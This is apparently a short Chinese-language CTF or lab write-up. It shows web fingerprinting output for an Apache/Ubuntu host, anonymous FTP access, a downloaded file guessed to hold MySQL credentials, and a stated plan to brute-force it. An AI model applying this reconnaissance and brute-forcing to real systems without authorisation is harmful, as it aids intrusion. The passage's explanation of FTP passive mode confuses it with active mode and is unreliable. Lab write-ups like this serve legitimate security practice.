Detected Plugins:
[ Apache ]
The Apache HTTP Server Project is an effort to develop and
maintain an open-source HTTP server for modern operating
systems including UNIX and Windows NT. The goal of this
project is to provide a secure, efficient and extensible
server that provides HTTP services in sync with the current
HTTP standards.
Version : 2.4.52 (from HTTP Server Header)
Google Dorks: (3)
Website : http://httpd.apache.org/
[ Bootstrap ]
Bootstrap is an open source toolkit for developing with
HTML, CSS, and JS.
Website : https://getbootstrap.com/
[ Email ]
Extract email addresses. Find valid email address and
syntactically invalid email addresses from mailto: link
tags. We match syntactically invalid links containing
mailto: to catch anti-spam email addresses, eg. bob at
gmail.com. This uses the simplified email regular
expression from
http://www.regular-expressions.info/email.html for valid
email address matching.
String : slowman@gmail.com
[ HTML5 ]
HTML version 5, detected by the doctype declaration
[ HTTPServer ]
HTTP server header string. This plugin also attempts to
identify the operating system from the server header.
OS : Ubuntu Linux
String : Apache/2.4.52 (Ubuntu) (from server string)
[ JQuery ]
A fast, concise, JavaScript that simplifies how to traverse
HTML documents, handle events, perform animations, and add
AJAX.
Version : 3.4.1
Website : http://jquery.com/
[ Script ]
This plugin detects instances of script HTML elements and
returns the script language/type.
[ X-UA-Compatible ]
This plugin retrieves the X-UA-Compatible value from the
HTTP header and meta http-equiv tag. - More Info:

FTP匿名登录
虽然可以匿名登录进入，但是使用命令的话，会卡在这！
我去搜索了一下资料：
在FTP通信中，数据传输有两种模式：主动模式和被动模式。在被动模式下，FTP服务器会在端口20上监听数据连接，而客户端在端口21上发送命令。
当使用被动模式时，服务器会向客户端提示"Entering Passive Mode"，并提供一个端口号，客户端通过该端口与服务器建立数据连接来传输文件列表等信息。
由于被动模式下每次数据连接都是单独的，因此每次执行"ls"命令时，FTP服务器会重新发送"Entering Passive Mode"消息，并为该次数据传输提供一个新的端口号。
这就是为什么在你的情况下，两次执行"ls"命令时都有重新进入被动模式的提示。
所以说，不要急，一会就出来了！
把文件下载到本地！
看样子应该是mysql的账号，或者密码？？
我们先作为账号爆破一下！
